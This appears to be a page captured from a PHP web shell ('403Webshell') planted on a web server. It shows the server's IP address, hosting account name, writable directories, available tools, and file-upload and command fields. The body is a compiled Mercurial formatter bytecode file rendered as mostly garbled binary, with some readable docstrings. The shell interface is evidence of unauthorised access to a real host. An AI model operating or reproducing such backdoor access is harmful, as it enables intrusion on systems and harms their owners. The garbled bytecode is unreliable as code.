403Webshell
Server IP : 74.208.236.16  /  Your IP : 216.73.217.15
Web Server : Apache
System : Linux info 3.0 #1337 SMP Tue Jan 01 00:00:00 CEST 2000 all GNU/Linux
User : u102440577 ( 7172810)
PHP Version : 8.4.26
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /kunden/lib/python3/dist-packages/mercurial/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /kunden/lib/python3/dist-packages/mercurial/__pycache__/formatter.cpython-313.pyc
�

6�hni����SrSSKJr SSKrSSKrSSKrSSKrSSKrSSKJ	r	 SSK
JrJr SSK
Jr \R(aSSKrSSKJrJrJrJrJrJrJr SS	KJrJrJr S
r"SS5r"S
S5rSr"SS\5r Sr!"SS5r""SS\5r#"SS\5r$"SS\5r%"SS\5r&"SS\5r'"SS 5r("S!S"\5r)\RT"S#S$9"S%S&55r+S'r,S6S(jr-S)r.S6S*jr/S+r0S,r1S7S-jr2S7S.jr3\4"5r5"S/S0\Rl5r7S8S1jr8S2r9\RtS35r;\RtS45r<S5r=g)9a~Generic output formatting for Mercurial

The formatter provides API to show data in various ways. The following
functions should be used in place of ui.write():

- fm.write() for unconditional output
- fm.condwrite() to show some extra data conditionally in plain output
- fm.context() to provide changectx to template output
- fm.data() to provide extra data to JSON or template output
- fm.plain() to show raw text that isn't provided to JSON or template output

To show structured data (e.g. date tuples, dicts, lists), apply fm.format*()
beforehand so the data is converted to the appropriate data type. Use
fm.isplain() if you need to convert or format data conditionally which isn't
supported by the formatter API.

To build nested structure (i.e. a list of dicts), use fm.nested().

See also https://www.mercurial-scm.org/wiki/GenericTemplatingPlan

fm.condwrite() vs 'if cond:':

In most cases, use fm.condwrite() so users can selectively show the data
in template output. If it's costly to build data, use plain 'if cond:' with
fm.write().

fm.nested() vs fm.formatdict() (or fm.formatlist()):

fm.nested() should be used to form a tree structure (a list of dicts of
lists of dicts...) which can be accessed through template keywords, e.g.
"{foo % "{bar % {...}} {baz % {...}}"}". On the other hand, fm.formatdict()
exports a dict-type object to template, which can be accessed by e.g.
"{get(foo, key)}" function.

Doctest helper:

>>> def show(fn, verbose=False, **opts):
...     import sys
...     from . import ui as uimod
...     ui = uimod.ui()
...     ui.verbose = verbose
...     ui.pushbuffer()
...     try:
...         return fn(ui, ui.formatter(pycompat.sysbytes(fn.__name__),
...                   pycompat.byteskwargs(opts)))
...     finally:
...         print(pycompat.sysstr(ui.popbuffer()), end='')

Basic example:

>>> def files(ui, fm):
...     files = [(b'foo', 123, (0, 0)), (b'bar', 456, (1, 0))]
...     for f in files:
...         fm.startitem()
...         fm.write(b'path', b'%s', f[0])
...         fm.condwrite(ui.verbose, b'date', b'  %s',
...                      fm.formatdate(f[2], b'%Y-%m-%d %H:%M:%S'))
...         fm.data(size=f[1])
...         fm.plain(b'\n')
...     fm.end()
>>> show(files)
foo
bar
>>> show(files, verbose=True)
foo  1970-01-01 00:00:00
bar  1970-01-01 00:00:01
>>> show(files, template=b'json')
[
 {
  "date": [0, 0],
  "path": "foo",
  "size": 123
 },
 {
  "date": [1, 0],
  "path": "bar",
  "size": 456
 }
]
>>> show(files, template=b'path: {path}\ndate: {date|rfc3339date}\n')
path: foo
date: 1970-01-01T00:00:00+00:00
path: bar
date: 1970-01-01T00:00:01+00:00

Nested example:

>>> def subrepos(ui, fm):
...     fm.startitem()
...     fm.write(b'reponame', b'[%s]\n', b'baz')
...     files(ui, fm.nested(b'files', tmpl=b'{reponame}'))
...     fm.end()
>>> show(subrepos)
[baz]
foo
bar
>>> show(subrepos, template=b'{reponame}: {join(files % "{path}", ", ")}\n')
baz: foo, bar
�)�annotationsN�)�_)�hex�short)�attr)�error�pycompat�templatefilters�
templatekw�	templater�templateutil�util)�cborutil�dateutil�
stringutilc�V�[U[S5[[[[
45$)z�Check if the given object can be directly passed in to formatter's
write() and data() functions

Returns False if the object is unsupported or must be pre-processed by
formatdate(), formatdict(), or formatlist().
N)�
isinstance�type�bool�int�float�bytes)�objs �5/usr/lib/python3/dist-packages/mercurial/formatter.py�isprintabler�s ���c�D��J��c�5�%�@�A�A�c�\�\rSrSrSrSr\S5r\S5r\S5r	\S5r
Srg	)
�_nullconverter�z=convert non-primitive data types to be processed by formatterFc��U$)z$wrap nested data by appropriate type���data�tmpl�seps   r�
wrapnested�_nullconverter.wrapnested�s	���rc�$�Uup#[U5U4$�z(convert date tuple to appropriate format)r)�date�fmt�ts�tzs    r�
formatdate�_nullconverter.formatdate�s������B���}�rc��[U5$�z:convert dict or key-value pairs to appropriate dict format)�dict)r$�key�valuer,r&s     r�
formatdict�_nullconverter.formatdict�s��
�D�z�rc��[U5$�z+convert iterable to appropriate list format)�list)r$�namer,r&s    r�
formatlist�_nullconverter.formatlist�s���D�z�rr"N��__name__�
__module__�__qualname__�__firstlineno__�__doc__�storecontext�staticmethodr'r/r6r<�__static_attributes__r"rrrr�sZ��G��L����������������rrc��\rSrSrSrSrSrSrSrSr	SSjr
SS
jrSSjrSr
S
rSrSrSrSrSrSSjrSrSrg	)�
baseformatter�Fc�X�XlX lX0lX@lSUl[
Ulg�N)�_ui�_topic�_opts�
_converter�_itemr�hexfunc)�self�ui�topic�opts�	converters     r�__init__�baseformatter.__init__�s$�������
�#����
���rc��U$rKr"�rRs r�	__enter__�baseformatter.__enter__�s���rc�,�UcUR5 ggrK)�end)rR�exctype�excvalue�	tracebacks    r�__exit__�baseformatter.__exit__�s���?��H�H�J�rc��g)z0show a formatted item once all data is collectedNr"rZs r�	_showitem�baseformatter._showitem���rc�L�URbUR5 0Ulg)z begin an item in the format listN�rPrerZs r�	startitem�baseformatter.startitem�s���:�:�!��N�N����
rc�8�URRX5$r*)rOr/)rRr+r,s   rr/�baseformatter.formatdate�s�����)�)�$�4�4rNc�<�URRXX4U5$r2)rOr6)rRr$r4r5r,r&s      rr6�baseformatter.formatdict�s�����)�)�$�U��E�Erc�:�URRXX45$r9)rOr<)rRr$r;r,r&s     rr<�baseformatter.formatlist�s�����)�)�$�c�?�?rc�X�[R"U5n[SU55(deURR(a`SU;aSU;aUSR5US'SU;aSU;aUSR
5US'URRU5 gg)z=insert context objects to be used to render template keywordsc3�*# �UH	oS;v� M g7f)>�ctx�fctx�repoNr")�.0�ks  r�	<genexpr>�(baseformatter.context.<locals>.<genexpr>�s���A�D�q�2�2�D�s�rurtrvN)	r
�byteskwargs�allrOrD�	changectx�reporP�update)rR�ctxss  r�context�baseformatter.context�s����#�#�D�)���A�D�A�A�A�A�A��?�?�'�'��$��6��#5�#�G�}�6�6�8��V����~�'��"5� $�V�� 1� 1� 3��W�
��J�J���d�#�
(rc��[5$)z#set of field names to be referenced)�setrZs r�datahint�baseformatter.datahint�s	���u�rc�f�[R"U5nURRU5 g)z8insert data into item that's not shown in default outputN)r
r{rPr�rRr$s  rr$�baseformatter.data�s$���#�#�D�)���
�
���$�rc��UR5n[U5[U5:XdXS45eURR[	XS55 g)z3do default text output while assigning data to itemN��split�lenrPr�zip)rR�fields�deftext�	fielddatarU�	fieldkeyss      r�write�baseformatter.write�sB���L�L�N�	��9�~��Y��/�G�)�1G�G�/��
�
���#�i�3�4rc��UR5n[U5[U5:XdeURR[	Xd55 g)z4do conditional write (primarily for plain formatter)Nr�)rR�condr�r�r�rUr�s       r�	condwrite�baseformatter.condwrites:���L�L�N�	��9�~��Y��/�/�/��
�
���#�i�3�4rc��g)z$show raw text for non-templated modeNr"�rR�textrUs   r�plain�baseformatter.plainrgrc��g)zcheck for plain formatter usageFr"rZs r�isplain�baseformatter.isplain	s��rc��/nURRXBU5URU'[URURU5$)z9sub formatter to store nested data in the specified field)rOr'rP�_nestedformatterrL)rR�fieldr%r&r$s     r�nested�baseformatter.nested
s=���� �O�O�6�6�t�3�G��
�
�5������$�/�/�4�@�@rc�@�URbUR5 gg)zend output for the formatterNrirZs rr^�baseformatter.ends���:�:�!��N�N��"r)rOrPrNrMrLrQ)s%a %b %d %H:%M:%S %Y %1%2)skeysvalueN� )Nr��Nr)r?r@rArB�
strict_formatrWr[rbrerjr/r6r<r�r�r$r�r�r�r�r�r^rFr"rrrHrH�sa���M����?��5�F�@�
$�� �
5�5�3��A�rrHc� �[XU[S9$)zformatter that prints nothing)rV)rHr)rSrTrUs   r�
nullformatterr�s����D�N�C�Crc�$�\rSrSrSrSrSrSrg)r�iz6build sub items and store them in the parent formatterc�<�[RXS0US9 X0lg)Nr)rTrUrV)rHrW�_data)rRrSrVr$s    rrW�_nestedformatter.__init__!s%������C�b�I�	�	
��
rc�N�URRUR5 grK�r��appendrPrZs rre�_nestedformatter._showitem'����
�
���$�*�*�%r)r�N)r?r@rArBrCrWrerFr"rrr�r�s��@��&rr�c�b�[U[5(a[UR55$U$)z'iterate key-value pairs in stable order)rr3�sorted�items)r$s r�
_iteritemsr�+s%���$�����d�j�j�l�#�#��Krc�\�\rSrSrSrSr\S5r\S5r\S5r	\S5r
Srg	)
�_plainconverteri2z(convert non-primitive data types to textFc�.�[R"S5e)Ns%plainformatter should never be nested)r	�ProgrammingErrorr#s   rr'�_plainconverter.wrapnested7s���$�$�%M�N�Nrc�.�[R"X5$)z(stringify date tuple in the given format)r�datestr�r+r,s  rr/�_plainconverter.formatdate;s������*�*rc�^^�[RmTcSm[RmURUU4Sj[	U555$)z*stringify key-value pairs separated by seps%s=%sc3�N># �UHupTT"U5T"U54-v� M g7frKr")rwrx�vr,�prefmts   ��rry�-_plainconverter.formatdict.<locals>.<genexpr>Gs)����
�5E�T�Q�C�6�!�9�f�Q�i�(�(�5E�s�"%)r
�identity�bytestr�joinr�)r$r4r5r,r&r�s   ` @rr6�_plainconverter.formatdict@sH����"�"���;��C��%�%�F��x�x�
�5?��5E�
�
�	
rc�^^�[RmTcSm[RmURUU4SjU55$)z#stringify iterable separated by seps%sc3�:># �UHnTT"U5-v� M g7frKr")rw�er,r�s  ��rry�-_plainconverter.formatlist.<locals>.<genexpr>Rs����6��A��f�Q�i���s�)r
r�r�r�)r$r;r,r&r�s  ` @rr<�_plainconverter.formatlistKs:����"�"���;��C��%�%�F��x�x�6��6�6�6rr"Nr>r"rrr�r�2sZ��2��L��O��O��+��+��
��
��7��7rr�c�R�\rSrSrSrSrSrSrSrSr	Sr
S	rSSjrSr
S
rg
)�plainformatteriUzthe default text output schemec��^�[RXX4[5 UR(a[UlO[UlUTLaURUlgU4SjUlg)Nc�&>�TRU5$rK)r�)�srU�outs  �r�<lambda>�)plainformatter.__init__.<locals>.<lambda>as
���C�I�I�a�Lr)	rHrWr��	debugflagrrQrr��_write�rRrSr�rTrUs  `  rrW�plainformatter.__init__XsC������t��o�F�
�<�<��D�L� �D�L�
��9��(�(�D�K�8�D�Krc��grKr"rZs rrj�plainformatter.startitemc���rc��grKr"r�s  rr$�plainformatter.datafr�rc�.�UR"X#-40UD6 grK�r�)rRr�r�r�rUs     rr��plainformatter.writeis�����G�'�0�4�0rc�>�U(aUR"X4-40UD6 gg)zdo conditional writeNr�)rRr�r�r�r�rUs      rr��plainformatter.condwritels����K�K��+�4�t�4�rc�*�UR"U40UD6 grKr�r�s   rr��plainformatter.plainqs�����D�!�D�!rc��g)NTr"rZs rr��plainformatter.isplaints��rNc��U$rKr")rRr�r%r&s    rr��plainformatter.nestedws���rc��grKr"rZs rr^�plainformatter.end{r�r)r�rQr�)r?r@rArBrCrWrjr$r�r�r�r�r�r^rFr"rrr�r�Us2��(�	9�
�
�1�5�
"���
rr�c�&�\rSrSrSrSrSrSrg)�debugformatteric��[RXX4[5 X lURR	SUR
-5 g)Ns%s = [
)rHrWr�_outr�rMr�s     rrW�debugformatter.__init__�s2�����t��n�E��	��	�	����d�k�k�1�2rc	�|�URRS[R"URSSS9-5 g)Ns    %s,
�r)�indent�level)r�r�r�pprintrPrZs rre�debugformatter._showitem�s-���	�	����:�,�,�T�Z�Z���K�K�	
rc�d�[RU5 URRS5 g)Ns]
�rHr^r�r�rZs rr^�debugformatter.end�s �����$���	�	����r�r�N�r?r@rArBrWrer^rFr"rrr�r�s��3�

�
 rr�c�&�\rSrSrSrSrSrSrg)�pickleformatteri�c�T�[RXX4[5 X l/UlgrK)rHrWrr�r�r�s     rrW�pickleformatter.__init__�s �����t��n�E��	���
rc�N�URRUR5 grKr�rZs rre�pickleformatter._showitem�r�rc��[RU5 URR[R
"UR55 grK)rHr^r�r��pickle�dumpsr�rZs rr^�pickleformatter.end�s-�����$���	�	������T�Z�Z�0�1r)r�r�Nr�r"rrrr�s���
&�2rrc�*�\rSrSrSrSrSrSrSrg)�
cborformatteri�z2serialize items as an indefinite-length CBOR arrayc��[RXX4[5 X lURR	[
R5 grK)rHrWrr�r�r�BEGIN_INDEFINITE_ARRAYr�s     rrW�cborformatter.__init__�s/�����t��n�E��	��	�	����7�7�8rc��URRSR[R"UR
555 gr�)r�r�r�r�streamencoderPrZs rre�cborformatter._showitem�s*���	�	�������!6�!6�t�z�z�!B�C�Drc��[RU5 URR[R
5 grK)rHr^r�r�r�BREAKrZs rr^�cborformatter.end�s$�����$���	�	������'rr�N)	r?r@rArBrCrWrer^rFr"rrr
r
�s��<�9�
E�(rr
c�*�\rSrSrSrSrSrSrSrg)�
jsonformatteri�Tc��[RXX4[5 X lURR	S5 SUlg)N�[T)rHrWrr�r��_firstr�s     rrW�jsonformatter.__init__�s0�����t��n�E��	��	�	�������rc���UR(aSUlOURRS5 URRS5 Sn[URR55H^up#U(aSnOURRS5 [R"USS9nURRSX$4-5 M` URRS5 g)	NF�,s
 {
Ts,
)�paranoids
  "%s": %ss
 })rr�r�r�rPr�r�json)rR�firstrxr��us     rre�jsonformatter._showitem�s����;�;��D�K��I�I�O�O�D�!��	�	���	�"����4�:�:�+�+�-�.�D�A�����	�	����'��$�$�Q��7�A��I�I�O�O�M�Q�F�2�3�
/�	
�	�	���� rc�d�[RU5 URRS5 g)N�
]
r�rZs rr^�jsonformatter.end�s �����$���	�	����!r)rr�N)	r?r@rArBr�rWrer^rFr"rrrr�s���M��!�""rrc�\�\rSrSrSrSr\S5r\S5r\S5r	\S5r
Srg	)
�_templateconverteri�z=convert non-primitive data types to be processed by templaterTc�,�[R"XUS9$)z$wrap nested data by templatable type)r%r&)r�mappinglistr#s   rr'�_templateconverter.wrapnested�s���'�'��S�A�Arc�.�[R"U5$)zreturn date tuple)rr+r�s  rr/�_templateconverter.formatdate�s��� � ��&�&rc�^^^^^�[R"[T55mUUUUU4Sjn[R"TTTTUS9$)zAbuild object that can be evaluated as either plain string or dictc3�D># �[RTTTTT5v� g7frK)r�r6)r$r,r4r&r5s�����r�f�(_templateconverter.formatdict.<locals>.f�s����!�,�,�T�3��s�C�H�H�s� )r4r5r,�gen)r�sortdictr�r�
hybriddict)r$r4r5r,r&r-s````` rr6�_templateconverter.formatdict�sD����}�}�Z��-�.��	I�	I��&�&��c��C�Q�
�	
rc�`^^^^�[T5mUUUU4Sjn[R"TTTUS9$)zAbuild object that can be evaluated as either plain string or listc3�B># �[RTTTT5v� g7frK)r�r<)r$r,r;r&s����rr-�(_templateconverter.formatlist.<locals>.f�s����!�,�,�T�4��c�B�B�s�)r;r,r/)r:r�
hybridlist)r$r;r,r&r-s```` rr<�_templateconverter.formatlist�s3����D�z��	C�	C��&�&�t�$�C�Q�G�Grr"Nr>r"rrr%r%�s\��G��L��B��B��'��'��	
��	
��H��Hrr%c�Z�\rSrSrS
SjrSrSr\RS5r	Sr
SrS	rg)�templateformatteri�Nc��[RXX4[5 X lURUl[
UU[R[U5[RS9UlU(a%URRRU5 [XPR/SQ5Ul[ R""5UlUR'S05 g)N��defaults�	resources�cache)�	docheader�	docfooter�	separatorr?)rHrWr%r��ref�_tref�
loadtemplaterr�keywords�templateresources�defaulttempl�_tr>r�templatepartsmap�_parts�	itertools�count�_counter�_renderitem)rRrSr�rTrU�spec�overridetemplatess       rrW�templateformatter.__init__�s������t��6H�I��	��X�X��
�����(�(�'��+��)�)�
�����G�G�M�M� � �!2�3�&��'�'�E�
���"���)��
�����r�*rc���URR5n[UR5=US'nUS:�aUR	S05 UR	UR
U5 g)NsindexrrA)rP�copy�nextrMrNrC)rR�item�indexs   rre�templateformatter._showitemsT���z�z��� ��!%�d�m�m�!4�4��X����1�9����\�2�.�������T�*rc��XR;agURUnUR5H"upEUbM
[R"U5X$'M$ URRURRX255 grK)rJr�r�wrappedvaluer�r�rH�render)rR�partrUrBrxr�s      rrN�templateformatter._renderitem
se���{�{�"���k�k�$����J�J�L�D�A��y�&�3�3�A�6���!�	
�	�	��������s�1�2rc�L�URRUR5$rK)rH�symbolsusedrCrZs r�_symbolsused�templateformatter._symbolsuseds���w�w�"�"�4�:�:�.�.rc� �URS$)z5set of field names to be referenced from the templater)r_rZs rr��templateformatter.datahints��� � ��#�#rc�R�[RU5 URS05 g)Nr@)rHr^rNrZs rr^�templateformatter.ends �����$������r�*r)rMr�rJrHrCrK)
r?r@rArBrWrerNr�
propertycacher_r�r^rFr"rrr9r9�s5��+�&+�3�
���/��/�$�+rr9T)�frozenc��\rSrSr\R
"5r\R
"5r\R
"5r\R
"SS9r	\R
"SS9r
Srg)�templatespeci$N)�defaultr")r?r@rArBr�ibrBr%�mapfile�refargs�fprFr"rrrhrh$s?��
�'�'�)�C��7�7�9�D��g�g�i�G��g�g�d�#�G�	
����	�Brrhc��[SSS5$rK�rhr"rr�empty_templatespecrp-s����d�D�)�)rc��[USSU5$rKro)rBrls  r�reference_templatespecrr1s����T�4��1�1rc�T�[U[5(aS5e[SUS5$)Nstmpl must not be a strr)r�strrh)r%s r�literal_templatespecru5s*���$��$�$�?�&?�?�$���T�4�(�(rc��[USXS9$)N)rmro)rTrkrms   r�mapfile_templatespecrw:s����t�W�4�4rc��U(d
[5$SU;a[U5$US;a[U5$URS5up4nUS;a?U(a8UR	S5(a"[
R"U5 [X5SSS9$[RRU5S	(dK[
R"S
U-5=(d [
R"U5upgU(a[XU5$URSU5(a[U5$US:XaOUR[S
5[
R"5-5 [ R""[S55eSU;dSU;a�[RR%U5(a�[RR'U5R)S5(a)[U[RR+U55$[,R."US5nUR15nSSS5 [U5$[U5$!,(df   N$=f)a�Find the template matching the given -T/--template spec 'tmpl'

'tmpl' can be any of the following:

 - a literal template (e.g. '{rev}')
 - a reference to built-in template (i.e. formatter)
 - a map-file name or path (e.g. 'changelog')
 - a reference to [templates] in config file
 - a path to raw template file

A map file defines a stand-alone template environment. If a map file
selected, all templates defined in the file will be loaded, and the
template matching the given topic will be rendered. Aliases won't be
loaded from user config, but from the map file.

If no map file selected, all templates in [templates] section will be
available as well as aliases in [templatealias].
�{>�cbor�json�debug�pickle�(>rzr{�)N���)rlrsmap-cmdline.�	templatesslistsavailable styles: %s
sspecify a template�/�\smap-srb)rprurr�	partition�endswithr
�	parseexpr�os�pathr��try_open_templaterw�configr�r�	stylelistr	�Abort�isfile�basename�
startswith�realpathr�	posixfile�read)	rSrTr%�func�fsep�ftail�mapnamermr-s	         r�lookuptemplater�>s���(�!�#�#��t�|�#�D�)�)��6�6�%�d�+�+����t�,��D���!�!�d�u�~�~�d�/C�/C����D�!�%�d�#�2�J�?�?��7�7�=�=���q�!�!�3�3��d�"�
�/�
�
(�
(��
.�	���'���;�;�
�y�y��t�$�$�%�d�+�+��w��
����,�-�	�0C�0C�0E�E�F��k�k�!�1�2�3�3�	
�����
�2�7�7�>�>�$�+?�+?�
�7�7���D�!�,�,�W�5�5�'��r�w�w�/?�/?��/E�F�F�
�^�^�D�%�
(�A��6�6�8�D�)�#�D�)�)� ��%�%�)�
(�s�I�
Ic�^�URUR0nUR(aURU4SjU55 U$UR(a&UH nSURU4-nUT;dMXSU'M" U$)zCreate a mapping of {part: ref}c3�8># �UHoT;dM
X4v� M g7frKr")rw�p�ts  �rry�#templatepartsmap.<locals>.<genexpr>�s����<�	�1�!�V����	�s�	�
s%s:%s)rBrkr)rOr��	partnames�partsmapr[rBs `    rrIrI�sp������$�(�(�#�H��|�|����<�	�<�<��O�
����D��d�h�h��-�-�C��a�x�!$�����Orc��UR(aUR(aeUR(a5[RRURURUUUS9$[XRX#US9$)zLCreate a templater from either a literal template or loading from
a map filer;)r%rkr
�frommapfilerm�
maketemplater)rSrOr<r=r>s     rrDrD�sm���	�	�d�l�l�+�+��|�|��"�"�.�.��L�L��G�G����/�
�	
��
�I�I��U��rc���URS5n[R"X#XES9nURRSURS555 U(aXRS'U$)z0Create a templater from a string template 'tmpl's
templatealias)r<r=r>�aliasesc3�V# �UHupU[R"U54v� M! g7frK)r
�
unquotestring)rwrxr�s   rry� maketemplater.<locals>.<genexpr>�s&����4P�D�A��I�#�#�A�&�'�4P�s�')r�r)�configitemsr
r>r)rSr%r<r=r>r�r�s       rr�r��sc���n�n�-�.�G�����e�	�A��G�G�N�N��46�N�N�<�4P����������Hrc�h�\rSrSrSrSSjrSrSrSrSr	S	r
S
rSrSr
S
rSr\\S.rSrg)rFi�z@Resource mapper designed for the default templatekw and functionNc��0UUS.Ulg)N)�cacherv�ui��_resmap)rRrSr~s   rrW�templateresources.__init__�s�����
��rc�t�UR5Vs1sHo RX5cMUiM sn$s snfrK)�	knownkeys�_getsome)rR�mappingrxs   r�
availablekeys�templateresources.availablekeys�s4���~�~�'�
�'�!�=�=��+D�A�'�
�	
��
s�5�5c�
�1Sk$)N>r�rtrurvr��revcacher"rZs rr��templateresources.knownkeys�s��G�Grc��X R5;agURX5nU[LaURU"X5=o1U'U$rK)r�r��_placeholder�
_loadermap�rRr�r4r�s    r�lookup�templateresources.lookup�sG���n�n�&�&���M�M�'�'�����#���s�3�D�B�B�A����rc�f�0nURU5(a0US'URU5(a1URU5(a[R"XS5nXTS'SU;a URUS5(a	[US'SU;a URUS5(a	[US'U$)Nr��nodesoriginalnodertru�path)�_hasnodespecr�	runsymbol�_hasliteralr�)rRr��origmapping�
newmappingr��orignodes      r�populatemap�templateresources.populatemap�s��������Z�(�(�#%�G�K� ����[�)�)�d�.?�.?�
�.K�.K�#�-�-�g�G�L�H�'/�O�$���#��(8�(8��W�(M�(M�*�G�F�O��*�$��)9�)9�*�g�)N�)N�+�G�G���rc�d�URU5nUbU$URRU5$rK)�getr�r�s    rr��templateresources._getsome�s/���K�K�����=��H��|�|����$�$rc�<�X!;=(a [X5(+$)z<Test if a literal value is set or unset in the given mapping)�callable)rRr�r4s   rr��templateresources._hasliteral�s���~�<�h�w�|�&<�"<�<rc�J�URU5n[U5(agU$)z1Return value of the given name if it is a literalN)r�r�r�s    r�_getliteral�templateresources._getliteral�s!���K�K�����A�;�;���rc�$�SU;=(d SU;$)z=Test if context revision is set or unset in the given mappingr�rtr")rRr�s  rr��templateresources._hasnodespec�s���'�!�6�V�w�%6�6rc��URUS5nURUS5nUbUcgX#$![Ra gf=f)Nrvr�)r�r�r	�RepoLookupError)rRr�r~�nodes    r�_loadctx�templateresources._loadctx�sU���}�}�W�g�.�������1���<�4�<��	��:����$�$�	��	���1�A�Ac��URUS5nURUS5nUbUcgX#$![Ra gf=f)Nrtr�)r�r�r	�LookupError)rRr��ctxr�s    r�	_loadfctx�templateresources._loadfctx�sU���m�m�G�V�,�������1���;�$�,��	��9���� � �	��	�r�)rtrur�rK)r?r@rArBrCrWr�r�r�r�r�r�r�r�r�r�r�rFr"rrrFrF�sL��J�
�
�
H��
�%�=��7������JrrFc		���URU0n	U(aXiSUR-'U(aXySUR-'U(aX�SUR-'[XX#XIS9$)zYBuild template formatter that handles customizable built-in templates
such as -Tjson(...)s%s:docheaders%s:docfooters%s:separator)rP)rBr9)
rSr�rTrUrOr%�	docheader�	docfooter�	separator�	templatess
          r�_internaltemplateformatterr�	sb�����4� �I��09�/�D�H�H�,�-��09�/�D�H�H�,�-��09�/�D�H�H�,�-��
��d��rc���[XURSS55nURS:XaFURb9[	UUUUUSUR-[
R[
RS9$URS:Xa[XX#5$URS:Xa+URb[	UUUUUSUR-SS	S
S9	$URS:Xa[XX#5$URS:Xa URbS
5e[XX#5$URS:Xa URbS
5e[XX#5$UR(d"UR(dUR(a!URbS
5e[XX#U5$URSS5(a[XX#5$URSS5(a[XX#5$[!XX#5$)Nstemplaterrzs{dict(%s)|cbor})r%r�r�r{s{dict(%s)|json}s[
 r"s,
 )r%r�r�r�r}zfunction-style not supportedr|r�sformatdebugs
formatjson)r�r�rBrlr�rrrr
rrr�r%rkr9�
configboolr�)rSr�rTrUrOs     r�	formatterr�"s����"�T�X�X�k�3�%?�@�D��x�x�7��t�|�|�7�)������#�d�l�l�2��5�5��n�n�	
�		
�
���W�	��R�e�2�2�	
���W�	����!9�)������#�d�l�l�2����

�
	
�
���W�	��R�e�2�2�	
���Y�	��|�|�#�D�%D�D�#��r��4�4�	
���X�	��|�|�#�D�%D�D�#��b�u�3�3�	
���T�Y�Y�$�,�,��|�|�#�D�%D�D�#� ��%�t�<�<�	���u�n�	-�	-��b�u�3�3�	���u�m�	,�	,��R�e�2�2��"�5�/�/rc#��# �[R"US5n[XX#5nUv� SSS5 SSS5 g!,(df   N=f!,(df   g=f7f)zjCreate a formatter that writes outputs to the specified file

Must be invoked using the 'with' statement.
swbN)rr�r�)rS�filenamerTrUr��fms      r�
openformatterr�QsD���
����%�	(�C�
�r��
,���H�-�
)�	(�
,�
,��
)�	(�s/�A�
A�=�A�	A�
A	�A�
A�Ac#�# �Uv� g7frKr")r�s r�_neverendingr�\s
���
�H�s�c�|�U(a+[URXRUR5$[	U5$)z�Create a formatter backed by file if filename specified, else return
the given formatter

Must be invoked using the 'with' statement. This will never call fm.end()
of the given formatter.
)r�rLrMrNr�)r�r�s  r�maybereopenr�as-����R�V�V�X�y�y�"�(�(�C�C��B��rrK)NNN)rrr)>rC�
__future__r�
contextlibrKr�r�typing�i18nrr�rr�
thirdpartyr�
TYPE_CHECKING�r	r
rrr
rr�utilsrrrrrrHr�r�r�r�r�r�rr
rr%r9r�rhrprrrurwr�rIrDr��objectr��resourcemapperrFr�r��contextmanagerr�r�r�r"rr�<module>r�s���b�H#���	�
�
����
���������B���>]�]�@D�

&�}�
&�� 7� 7�F'
�]�'
�T
 �]�
 � 2�m�2�
(�M�
(� "�M�"�>#H�#H�L/+�
�/+�d���t������*�2�)�
5�?&�D
��"
� �x��U�	�0�0�U�~����2,0�^���������
��
�
 r

Youez - 2016 - github.com/yon3zu
LinuXploit